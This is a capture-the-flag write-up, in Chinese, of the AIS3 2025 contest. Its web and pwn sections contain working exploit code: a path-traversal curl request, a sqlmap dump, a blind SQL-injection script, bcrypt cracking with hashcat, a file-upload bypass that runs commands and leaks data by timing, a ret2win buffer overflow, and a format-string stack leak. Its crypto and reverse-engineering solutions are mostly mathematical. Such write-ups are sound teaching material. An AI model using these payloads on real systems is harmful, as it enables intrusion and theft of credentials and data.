Introduction
Misc
Welcome
Author : Curious
Solves: 386
有三個人解了別的沒解 Welcome (?)
Problem
Solve
Ctrl + c & ctrl + v 會拿到 AIS3{This_Is_Just_A_Fake_Flag_~~}
打過最難的 Welcome
Flag: AIS3{Welcome_And_Enjoy_The_CTF_!}
Ramen CTF
Author: whale120
Solves: 329
Problem
Solve
掃描發票左邊 QRCode 得到
MF1687991111404137095000001f4000001f40000000034785923VG9sG89nFznfPnKYFRlsoA==:**********:2:2:1:蝦拉
到財政部 - 全民稽核專區輸入
- 發票號碼: MF16879911 (上一步取得)
- 發票日期: 2025/4/13 (發票上取得)
- 4位隨機碼: 7095 (發票上取得)
成功查到店名與地址
平和溫泉拉麵店 262宜蘭縣礁溪鄉德陽村礁溪路五段108巷1號
Google map 地址並找到菜單確認店名與品名
Flag: AIS3{樂山溫泉拉麵:蝦拉麵}
AIS3 Tiny Server - Web / Misc
Author: pwn2ooown
Solves: 147
Problem
Solve
- No security check
可以看到 server 會直接 open parse 完的路徑,再檢查 parse_request()
發現確實沒有任何檢查
444 http_request req;
445 parse_request(fd, &req);
446
447 struct stat sbuf;
448 int status = 200, ffd = open(req.filename, O_RDONLY, 0);
前往 http://chals1.ais3.org:port// access root 就有 flag
Flag: AIS3{tInY_weB_ServeR_WItH_fILe_BROWs1nG_@s_@_feature}
♖ PyWars ♖
Author: naup96321
Solved: 1
Only solve !!!
Problem
Solve
檔案上傳後主要做四件事
- 檢查附檔名是否為
.py
- 檢查是否包含
TomorinIsCuteAndILovePython
- 取代所有
()}{|?!^
成空白 - 在檔案前面加上
exit()
並用python3
執行
從 open file mode 是 wb
還有 index.html
上傳檔案包含 pyc
猜到應該是要讓 python 跑別種檔案
認真讀 python document 會發現
Execute the Python code … referring to either a Python file, a directory containing a __main__.py file, or a zipfile containing a __main__.py file.
再搜尋發現可以用 zipapp
module來產生 zip
經過實驗 .pyz
前面加 exit()
沒有影響,最麻煩的 4. 就繞掉了
剩下三點
檢查副擋名是用最後一個
def allowed_file(filename):
_, ext = os.path.splitext(filename)
return ext.lower() == '.py'
但存檔是用第一個
ext = file.filename.split('.', 1)[1].lower()
random_hash = generate_random_hash()
filename = os.path.join(app.config['UPLOAD_FOLDER'], f'main_{random_hash}.{ext}')
可以用 .pyz.py
繞過
2. 隨便塞註解就好
3. 用 decorator 執行 command
script 抄網路上的
最後仔細看會發現 output 不可控但會 time out,可以用 time-based blind 來挖 flag
return f'Success Execute! But if you don\'t get flag...You Lose...'
except subprocess.TimeoutExpired as e:
return f'Timeout Error! You Lose ... '
except Exception as e:
return f"Something went wrong! You Lose"
return 'Your file is not \'.py\'.'
solve script 我懶得寫二分搜 (naup96321 說其實可以 popen send flag 就好)
import os
import requests
def check(pos, c):
s = \
f"time.sleep(20) if open('/app/flags/' + os.listdir('/app/flags')[0]).read()[{pos}] == '{c}' else False"
l = ""
for c in s:
l += str(ord(c)) + ', '
return l
folder = "payload"
flag = ""
while True:
for c in range(256):
with open(f"{folder}/__main__.py", 'w') as f:
f.write("import os\n")
f.write("import time\n")
f.write("# TomorinIsCuteAndILovePython\n")
f.write("exit = lambda x : x\n")
f.write(f"for x in [[{check(len(flag), chr(c))}]]:\n")
f.write(f"\tfor y in [lambda z: x]:\n")
f.write(f"\t\t@print\n")
f.write(f"\t\t@eval\n")
f.write(f"\t\t@bytes\n")
f.write(f"\t\t@y\n")
f.write(f"\t\tclass z:\n")
f.write(f"\t\t\tpass\n")
os.system(f"python -m zipapp {folder}")
os.system(f"mv {folder}.pyz {folder}.pyz.py")
try:
r = requests.post(
"http://chals1.ais3.org:10000/upload",
files = {'file': open(f"{folder}.pyz.py",'rb')},
timeout = 2
)
except:
flag += chr(c)
print(flag)
break
if c == 255:
exit()
Flag: AIS3{Success!!!!!_y0u_are_M6s73r_0f_python@z1p_1s_c00l…and_dec0rat0r_1s_c00l!}
Web
Tomorin db 🐧
Author : naup96321
Solved: 282
Solve
一個會把 /flag
redirect 的 golang server
package main
import "net/http"
func main() {
http.Handle("/", http.FileServer(http.Dir("/app/Tomorin")))
http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
http.Redirect(
w,
r,
"https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6",
http.StatusFound
)
})
http.ListenAndServe(":30000", nil)
}
Solve
Google 後找到一樣的題目,直接抄 payload
curl --path-as-is -X CONNECT http:///../flag
Flag: AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}
Login Screen 1
Author: Ching367436
Solves: 217
Problem
Solve
index.php
明顯有 sql injection
// index.php
$stmt = $db->prepare("SELECT * FROM Users WHERE username = '$username'");
init.php
有 database scheme
// init.php
$db->exec("CREATE TABLE IF NOT EXISTS Users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
password TEXT NOT NULL,
code TEXT NOT NULL
)");
直接用 sqlmap dump database
sqlmap -u "http://login-screen.ctftime.uk:36368/index.php" \
--forms -T Users -C username,password \
--dump
拿到 hash
$2y$10$Hf11AOUj8lw13DogTnS3aOvjD1hPnfsOx8qMKZzG8dGCWujtTRvBC
用 hsahcat 爆密碼得到 admin
hashcat -m 3200 -a 0 hash rockyou.txt
login 後進到 2fa,這裡其實上一步 sqlmap 多一個 code
就可以,但我忘了,sqlmap 打太大力 IP 一直被 ban dump 不出來,只好自己寫 script。用 '
關閉 username
再用 LIKE
比較code 的前幾碼,一碼一碼爆
import requests
code = ""
while True:
for i in range(10):
r = requests.post(
"http://login-screen.ctftime.uk:36368/index.php",
data = {
'username': f"admin' AND code LIKE '{code}{i}%",
'password': 'admin'
}
)
if r.content != b"Invalid username or password.":
code += str(i)
print(code)
break
if i == 9:
exit()
執行完得到 2fa code 是 51756447753485459839
登入後就有 flag 了
FLAG: AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}
Crypto
Stream
Author : Whale120
Solved: 146
Problem
from random import getrandbits
import os
from hashlib import sha512
from flag import flag
def hexor(a: bytes, b: int):
return hex(int.from_bytes(a)^b**2)
for i in range(80):
print(hexor(sha512(os.urandom(True)).digest(), getrandbits(256)))
print(hexor(flag, getrandbits(256)))
Solve
明顯是 random number predict,需要 624 個 32 bits number,題目有 80 個 256 bits number,\(80 \times 256 > 624 \times 32\),所以可以做
注意到 hexor()
會把隨機數平方再 XOR sha512(urandom)
,但因為 urandom
大小是 True (1)
,預先算出所有 byte 的 sha512 後,一個個把 output XOR 回去,取原本是完全平方數的數字就會是 randbits
import math
from hashlib import sha512
from randcrack import RandCrack
from Crypto.Util.number import long_to_bytes
hashes = [int.from_bytes(sha512(bytes([byte])).digest()) for byte in range(256)]
lines = open("output.txt", 'r').readlines()
outputs = [int(line, 16) for line in lines[:-1]]
rc = RandCrack()
for output in outputs:
for hash in hashes:
square = output ^ hash
rand = math.isqrt(square)
if square == math.isqrt(square) ** 2:
if rc.state:
assert rand == rc.predict_getrandbits(256)
else:
byte = []
for _ in range(8):
rc.submit(rand & 0xffffffff)
rand >>= 32
break
print(long_to_bytes(int(lines[-1], 16) ^ rc.predict_getrandbits(256)**2))
Flag: AIS3{no_more_junks…plz}
Random_RSA
Author : hahabox0
Solved: 83
Problem
# chall.py
from Crypto.Util.number import getPrime, bytes_to_long
from sympy import nextprime
from gmpy2 import is_prime
FLAG = b"AIS3{Fake_FLAG}"
a = getPrime(512)
b = getPrime(512)
m = getPrime(512)
a %= m
b %= m
seed = getPrime(300)
rng = lambda x: (a*x + b) % m
def genPrime(x):
x = rng(x)
k=0
while not(is_prime(x)):
x = rng(x)
return x
p = genPrime(seed)
q = genPrime(p)
n = p * q
e = 65537
m_int = bytes_to_long(FLAG)
c = pow(m_int, e, n)
# hint
seed = getPrime(300)
h0 = rng(seed)
h1 = rng(h0)
h2 = rng(h1)
with open("output.txt", "w") as f:
f.write(f"h0 = {h0}\n")
f.write(f"h1 = {h1}\n")
f.write(f"h2 = {h2}\n")
f.write(f"M = {m}\n")
f.write(f"n = {n}\n")
f.write(f"e = {e}\n")
f.write(f"c = {c}\n")
Solve
\[\text{let the seed below "#hint" be } x \\ \begin{align*} h_0 &\equiv ax + b &\mod m \\ h_1 &\equiv ah_0 + b &\mod m \\ &\equiv a^2x + ab + b &\mod m \\ h_2 &\equiv ah_1 + b &\mod m \\ &\equiv a^3x + a^2b + ab + b &\mod m \\ h_1 - h_0 &\equiv a((a - 1)x + b) &\mod m \\ h_2 - h_1 &\equiv a^2((a - 1)x + b) &\mod m \\ a &\equiv (h_2 - h_1)(h_1 - h_0)^{-1} &\mod m \\ b &\equiv h_1 - ah_0 &\mod m \\ \end{align*}\\\]解完 a, b
剩下的跟這篇一樣,script 照抄用 sage 就能算出 p, q
from Crypto.Util.number import long_to_bytes
h0, h1, h2, M, n, e, c =
h1_h0 = (h1 - h0 + M) % M
h2_h1 = (h2 - h1 + M) % M
a = (h2_h1 * pow(h1_h0, -1, M)) % M
b = (h1 - a * h0 + M) % M
def brute(interval):
Z = Zmod(M)
P = PolynomialRing(Z, "pp")
pp = P.gen()
qq = pp
for _ in range(interval):
qq = a * qq + b
f = pp * qq - n
return [ZZ(p) for p, e in f.roots()]
for i in range(1, 1000):
print(i)
r = brute(i)
for p in r:
if n % p == 0:
q = p
for _ in range(i):
q = (a * q + b) % M
if p * q == n:
print(i, p, q)
exit()
i, p, q =
r = (p - 1) * (q - 1)
d = pow(e, -1, r)
print(long_to_bytes(pow(c, d, n)))
Flag: AIS3{1_d0n7_r34lly_why_1_d1dn7_u53_637pr1m3}
Hill
Author : hahabox0
Solved: 73
Problem
import numpy as np
p = 251
n = 8
def gen_matrix(n, p):
while True:
M = np.random.randint(0, p, size=(n, n))
if np.linalg.matrix_rank(M % p) == n:
return M % p
A = gen_matrix(n, p)
B = gen_matrix(n, p)
def str_to_blocks(s):
data = list(s.encode())
length = ((len(data) - 1) // n) + 1
data += [0] * (n * length - len(data)) # padding
blocks = np.array(data, dtype=int).reshape(length, n)
return blocks
def encrypt_blocks(blocks):
C = []
for i in range(len(blocks)):
if i == 0:
c = (A @ blocks[i]) % p
else:
c = (A @ blocks[i] + B @ blocks[i-1]) % p
C.append(c)
return C
flag = "AIS3{Fake_FLAG}"
blocks = str_to_blocks(flag)
ciphertext = encrypt_blocks(blocks)
print("Encrypted flag:")
for c in ciphertext:
print(c)
t = input("input: ")
blocks = str_to_blocks(t)
ciphertext = encrypt_blocks(blocks)
for c in ciphertext:
print(c)
Solve
\[A, B \text{ are random } n \times n \text{ matrix}\\ F \text{ is the } l \times n \text{ flag matrix}\\ E \text{ will then be a } l \times n \text{ matrix}\\ M \text{ is the } m \times n \text{ input matrix}\\ C \text{ will then be a } m \times n \text{ matrix}\\ \begin{align*} E_{1,}^T &\equiv AF_{1,}^T &\mod p \\ E_{i,}^T &\equiv AF_{i,}^T + BF_{i - 1,}^T &\mod p &\ \ \forall i \in \{2, 3, \dots, n\}\\ C_{1,}^T &\equiv AM_{1,}^T &\mod p \\ C_{i,}^T &\equiv AM_{i,}^T + BM_{i - 1,}^T &\mod p &\ \ \forall i \in \{2, 3, \dots, n\}\\ \end{align*}\\\]首先,如果 \(M_{1,}\) 為 \([1, 0, 0, \dots]\),則 \(C_{1, } = A_{,1}^T\) 接著,如果 \(M_{2,}\) 為 \(\textbf{0}_{1, n}\),則 \(C_{1, } = B_{,1}^T\),引此只要輸入 \(\textbf{I}_{n, n}\) 與 \(\textbf{0}_{n, n}\) 每列 (row) 交錯而成的就能把 \(A, B\) 偷出來
\[\begin{bmatrix} 1 & 0 & 0 & \dots & 0 \\ 0 & 0 & 0 & \dots & 0 \\ 0 & 1 & 0 & \dots & 0 \\ 0 & 0 & 0 & \dots & 0 \\ \vdots & \vdots & \vdots & \ddots & \vdots \\ 0 & 0 & 0 & \dots & 1 \\ 0 & 0 & 0 & \dots & 0 \\ \end{bmatrix}\]最後可以算出 \(F\)
\[\begin{align*} F_{1,}^T &\equiv A^{-1}E_{1,}^T &\mod p \\ F_{i,}^T &\equiv A^{-1}(E_{i,}^T - BF_{i - 1,}^T) &\mod p &\ \ \forall i \in \{2, 3, \dots, n\}\\ \end{align*}\\\]import numpy as np
from pwn import *
from sympy import Matrix
p = 251
n = 8
io = remote("chals1.ais3.org", 18000)
def read_block():
block = np.ndarray(n, dtype = int)
line = io.recvline()
i = 0
for num in line.strip(b"[ ]\n").decode().split(' '):
if num == "":
continue
block[i] = int(num)
i += 1
return block
io.recvuntil(b"Encrypted flag:\n")
encrypted_flag = [read_block() for _ in range(5)]
io.recvuntil(b"input: ")
input = b"".join([
b"\x01\x00\x00\x00\x00\x00\x00\x00",
b"\x00\x00\x00\x00\x00\x00\x00\x00",
b"\x00\x01\x00\x00\x00\x00\x00\x00",
b"\x00\x00\x00\x00\x00\x00\x00\x00",
b"\x00\x00\x01\x00\x00\x00\x00\x00",
b"\x00\x00\x00\x00\x00\x00\x00\x00",
b"\x00\x00\x00\x01\x00\x00\x00\x00",
b"\x00\x00\x00\x00\x00\x00\x00\x00",
b"\x00\x00\x00\x00\x01\x00\x00\x00",
b"\x00\x00\x00\x00\x00\x00\x00\x00",
b"\x00\x00\x00\x00\x00\x01\x00\x00",
b"\x00\x00\x00\x00\x00\x00\x00\x00",
b"\x00\x00\x00\x00\x00\x00\x01\x00",
b"\x00\x00\x00\x00\x00\x00\x00\x00",
b"\x00\x00\x00\x00\x00\x00\x00\x01",
b"\x00\x00\x00\x00\x00\x00\x00\x00",
])
io.sendline(input)
A = np.ndarray((n, n), dtype = int)
B = np.ndarray((n, n), dtype = int)
for i in range(n):
A[:, i] = read_block()
B[:, i] = read_block()
A_inv = Matrix(A).inv_mod(p)
B = Matrix(B)
encrypted_flag = [Matrix(enc) for enc in encrypted_flag]
matrices = [(A_inv * encrypted_flag[0]) % p]
for i in range(4):
matrices.append((A_inv * (encrypted_flag[i + 1] - B * matrices[i])) % p)
flag = "".join([chr(num) for matrix in matrices for num in matrix])
print(flag)
io.interactive()
Flag: AIS3{b451c_h1ll_c1ph3r_15_2_3z_f0r_u5}
Pwn
Welcome to the World of Ave Mujica 🌙
Author: pwn2ooown
Solved: 121
Problem
Solve
執行後再加上 assembly 可以看到輸入完 yes 後可以輸入一個長度及該長度的字串
read_int8()
的數字必須比 128 小,所以猜 -1,成功 SIGSEGV
蓋rbp 就有 flag 了
注意到 0x401482
會把 read_int8
的結果只複製一 byte (al
) 作為長度,所以輸入 -1 (0xffffffffffffffff) <= 127,複製後會是 0xff (255)
再看蓋到 reuturn address 的 padding 是 0xa8
另外可以找到給 shell 的 win function
from pwn import *
exe = ELF("./chal")
# p = process("./chal")
p = remote("chals1.ais3.org", 60651)
p.sendlineafter(b"?", b"yes")
p.sendlineafter(b":", b"-1")
p.sendlineafter(
b":",
b"A" * 168 + p64(exe.symbols['Welcome_to_the_world_of_Ave_Mujica'])
)
p.interactive()
成功取得 flag
FLAG: AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)…Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)…_ecdd2f5868ac72a6d28cdf469bdcb996}
Format Number
Author : Curious
Solved: 54
Problem
Solve
題目做依序做 3 件事
- 把 flag 讀到 stack 上
- 檢查輸入只包含符號數字
printf("Format number : %3$<input>d\n", str, str, number)
從 printf
的 man page 看到可以用 %
關閉第一個 conversion,接著自己加入 $<i>%
來 leak stack 上第 i 個 value,就可以在 stack 上找到 flag,這裡每個字元都是用 32 bit int 存
from pwn import *
flag = ""
for i in range(20, 59):
# p = process("./share/chal")
p = remote("chals1.ais3.org", 50960)
p.sendlineafter(b"What format do you want ? ", f"%%{i}$".encode())
line = p.recvline()
if b'-' in line:
continue
flag += chr(int(line.decode().strip().split('%')[1]).to_bytes(4, 'little')[0])
p.close()
print(flag)
AIS3{S1d3ch@nn3l_0n_fOrM47_strln&!!!}
Reverse
AIS3 Tiny Server - Rev
Author: pwn2ooown
Solved: 164
Problem
Solve
尋找後會發現一個 check_flag()
function,是簡單的 XOR loop
把 function 中的 encypted data 跟 key 做 XOR 來得到 flag
enc = \
"3 8X\x12(\\G)R-\x0fZ\n\x0e\x00\x0fX\x13P\x19Z\x194X13C\x13A\x04Z\x194X,3SF\x03\x1eHJJ\x14\x00"
key = "rikki_l0v3"
flag = ""
for i, c in enumerate(enc):
flag += chr(ord(c) ^ ord(key[i % len(key)]))
print(flag)
AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}
babyUnicorn
Author: ShallowFeather
Solved: 5
Problem
名字都被寫到題目上了能不解嗎
Solve
chal.py
main()
讀入 input 寫到 stack 上 FLAG_ADDR
然後用 x86 32 bit 模擬 code
這段 shell code
- 一些 constant
ADDRESS_CODE = 0x1000000
ADDRESS_STACK = 0x2000000
STACK_SIZE = 0x4000 # 16KB for stack
CODE_SIZE = 0x10000 # 4KB for code
FLAG_ADDR = ADDRESS_STACK + STACK_SIZE - 0x100 + 0x20
FLAG_LEN = 47
hook_code
- hook all code
- if instruction is
\xcd\x06 (int 0x6)
, seteip = ADDRESS_CODE
,esi = 0x6
hook_code1
- hook at 0x10010d0
- set
eip = ADDRESS_CODE
,esi = 0x6
hook_code2
- hook at 0x10003fc
- 檢查
FLAG_ADDR
上的東西是否為GOAL
並輸出flag is correct/wrong
hook_code3
eip += 2
- 沒有 hook 在任何地方,後續解題也用不到,猜不是提示,
是淺羽忘了刪
hook_exception
- hook all interupt
- 第二次
exception_type
是 0x2d,會exit()
- 否則 set
eip = ADDRESS_CODE
,esi = exception_type
hook_insn
- hook at
CPUID
instruction - set
eip = ADDRESS_CODE
,esi = 0x6
- hook at
code
用 binary ninja load x86 raw binary 可以發現 ADDRESS_CODE
是一個 function (後稱 func
) 並且依照 arg2 (esi)
執行不同 case
01000000 int32_t sub_1000000(void* arg1 @ ebp, int32_t arg2 @ esi)
更仔細觀察發現所有的 case 都是一樣的結構
for (int i = <st>; i != <ed>; i += 1)
// flag[<offset> - 0x20 + i] ^= flag[i % 0x2f]
*(ebp + <offset> + i) ^= *(ebp + 0x20 + i % 0x2f);
trap(<exception_type>); // int <exception_type>
dynamic analysis
加入一些 verbode 後執行可以看到大部分都是 got exception
從 hook code, code
還有執行結果可以推出執行順序 (以下的 func(num)
代表設 esi = num
,然後執行 ADDRESS_CODE
,並不是 call
,call functiom 會改到 stack,但 hook 直接改 rip 不會動到 stack,本質上比較像 jmp
)
main()
執行func(0x2)
func(0x2) trap(0x61)
hook_exception
攔到int 0x61
hook_exception
執行func(0x61)
func(0x61) trap(0x10)
hook_exception
攔到int 0x10
hook_exception
執行func(0x10)
- …
繼續往下看會看到 func(0x54)
裡執行了 cpuid
,接著會被 hook_insn
跟 hook_code1
攔到並執行 func(0x6)
,可以看 case 6
裡確實有 trap(0x2d)
來驗證
再來又是一大串跟前面相同的 got exception
直到 0x14
,func(0x14)
會先 trap(0x6)
跑完然後觸發第二次 int 0x2d
的 exit()
,最後進 hook_code2
的 flag check
script
已知 target 以及所有 xor loop 的順序,只需要倒著做回去就能得到 flag,每個 xor loop 可以用以下還原
def xor(off_rsp, start, end):
for i in range(start, end)[::-1]:
off_flag = off_rsp - 0x20
if off_flag + i < 0 or off_flag + i >= FLAG_LEN:
continue
flag[off_flag + i] ^= flag[i % 0x2f]
用工人智慧把每個 xor loop 的參數找出來就有 flag 了,大部分都 trivial,for loop 有 st
, ed
,assembly 有 offset;除了 case 0x11 跟 0x18 找不到 st
,從 assembly 看到是拿 esi
當 i
算,也就是 st = 0x11 or 0x18
// trivial
00000650 8d742403 lea esi, [rsp+0x3 {__return_addr+0x3}]
00000668 30040e xor byte [rsi+rcx], al
// case 0x11, 0x18
01000d40 300431 xor byte [ecx+esi], al {arg_f} {arg_f}
from pwn import *
FLAG_LEN = 47
flag = [
0x5a, 0x60, 0x61, 0xf, 0x8, 0x29, 0x42, 0x32,
0x25, 0x23, 0x42, 0x68, 0x4b, 0x41, 0x63, 0x55,
0x37, 0x43, 0x6a, 0x50, 0x40, 0x6f, 0x2e, 0x66,
0x49, 0x7f, 0x9, 0x66, 0x79, 0x7c, 0x37, 0x18,
0x5d, 0x35, 0x46, 0x41, 0x37, 0xf, 0x19, 0x1c,
0x30, 0x79, 0x29, 0x69, 0xa, 0x46, 0x3b
]
def xor(off_rsp, start, end):
for i in range(start, end)[::-1]:
off_flag = off_rsp - 0x20
if off_flag + i < 0 or off_flag + i >= FLAG_LEN:
continue
flag[off_flag + i] ^= flag[i % 0x2f]
# 0x6
xor(0x3, 0x1d, 0x3b)
# 0x14
xor(-0x9, 0x29, 0x53)
# 0x1e
xor(0x13, 0xd, 0x1b)
# 0x3c
xor(0x8, 0x18, 0x31)
# 0x9
xor(-0xe, 0x2e, 0x5d)
# 0x2c
xor(0xd, 0x13, 0x27)
# 0x53
xor(-0xa, 0x2a, 0x55)
# 0x41
xor(-0x1, 0x21, 0x43)
# 0x25
xor(0x6, 0x1a, 0x35)
# 0x5f
xor(-0x7, 0x27, 0x4f)
# 0x22
xor(0x17, 0x9, 0x13)
# 0x4e
xor(-0x6, 0x26, 0x4d)
# 0x19
xor(0x13, 0xd, 0x1b)
# 0x2a
xor(0xc, 0x14, 0x29)
# 0x45
xor(0x1e, 0x2, 0x5)
# 0x3e
xor(-0x2, 0x22, 0x45)
# 0x7
xor(0x11, 0xf, 0x1f)
# 0x11
xor(0xf, 0x11, 0x23)
# 0x60
xor(0x1e, 0x2, 0x5)
# 0x46
xor(-0xc, 0x2c, 0x59)
# 0x35
xor(-0x4, 0x24, 0x49)
# 0x26
xor(0x17, 0x9, 0x13)
# 0x4
xor(0x16, 0xa, 0x15)
# 0x3a
xor(0x1e, 0x2, 0x5)
# 0x5a
xor(0x1c, 0x4, 0x9)
# 0x64
xor(0xa, 0x16, 0x2d)
# 0x4d
xor(0x3, 0x1d, 0x3b)
# 0x51
xor(0xb, 0x15, 0x2b)
# 0x24
xor(-0x6, 0x26, 0x4d)
# 0x32
xor(0xd, 0x13, 0x27)
# 0x4b
xor(0x1a, 0x6, 0xd)
# 0xb
xor(0x18, 0x8, 0x11)
# 0x4a
xor(0x5, 0x1b, 0x37)
# 0x33
xor(0x8, 0x18, 0x31)
# 0x30
xor(-0xb, 0x2b, 0x57)
# 0x28
xor(0xa, 0x16, 0x2d)
# 0x43
xor(-0x3, 0x23, 0x47)
# 0x49
xor(-0x4, 0x24, 0x49)
# 0x34
xor(-0xd, 0x2d, 0x5b)
# 0x23
xor(0x14, 0xc, 0x19)
# 0xd
xor(0xd, 0x13, 0x27)
# 0x4c
xor(0x0, 0x20, 0x41)
# 0x16
xor(-0xb, 0x2b, 0x57)
# 0x3f
xor(0xa, 0x16, 0x2d)
# 0x52
xor(0xb, 0x15, 0x2b)
# 0x1
xor(0x1c, 0x4, 0x9)
# 0x17
xor(0xf, 0x11, 0x23)
# 0x47
xor(-0x8, 0x28, 0x51)
# 0x21
xor(0xf, 0x11, 0x23)
# 0x5e
xor(0x9, 0x17, 0x2f)
# 0x1d
xor(0x1e, 0x2, 0x5)
# 0x2e
xor(0x7, 0x19, 0x33)
# 0x44
xor(0x12, 0xe, 0x1d)
# 0x50
xor(0xe, 0x12, 0x25)
# 0x2b
xor(0x13, 0xd, 0x1b)
# 0x20
xor(0x15, 0xb, 0x17)
# 0x5c
xor(-0x9, 0x29, 0x53)
# 0x2f
xor(0x18, 0x8, 0x11)
# 0x1b
xor(0x18, 0x8, 0x11)
# 0x1c
xor(0x8, 0x18, 0x31)
# 0xa
xor(0x1d, 0x3, 0x7)
# 0x48
xor(0x12, 0xe, 0x1d)
# 0x55
xor(0x3, 0x1d, 0x3b)
# 0x3b
xor(0x3, 0x1d, 0x3b)
# 0x58
xor(0x8, 0x18, 0x31)
# 0x18
xor(0x8, 0x18, 0x31)
# 0x27
xor(0x6, 0x1a, 0x35)
# 0x3
xor(0x1a, 0x6, 0xd)
# 0xf
xor(0x15, 0xb, 0x17)
# 0x39
xor(0xc, 0x14, 0x29)
# 0xe
xor(-0xa, 0x2a, 0x55)
# 0x40
xor(0x12, 0xe, 0x1d)
# 0x12
xor(0xb, 0x15, 0x2b)
# 0x36
xor(0x1, 0x1f, 0x3f)
# 0x2d
xor(0x8, 0x18, 0x31)
# 0x6
xor(0x3, 0x1d, 0x3b)
# 0x54
xor(0x15, 0xb, 0x17)
# 0x56
xor(-0x4, 0x24, 0x49)
# 0x13
xor(0x13, 0xd, 0x1b)
# 0x31
xor(0xe, 0x12, 0x25)
# 0x1f
xor(0x3, 0x1d, 0x3b)
# 0x37
xor(-0x4, 0x24, 0x49)
# 0x10
xor(0x8, 0x18, 0x31)
# 0x61
xor(0x0, 0x20, 0x41)
# 0x02
xor(-0x8, 0x28, 0x51)
p = process(["python", "chal.py"])
print(bytes(flag))
p.sendlineafter(b"Enter the flag:", bytes(flag))
p.recvline()
p.interactive()
Flag: AIS3{UniCorn_2.1.3_fk_s1ow_BUT_this_chal_cool?}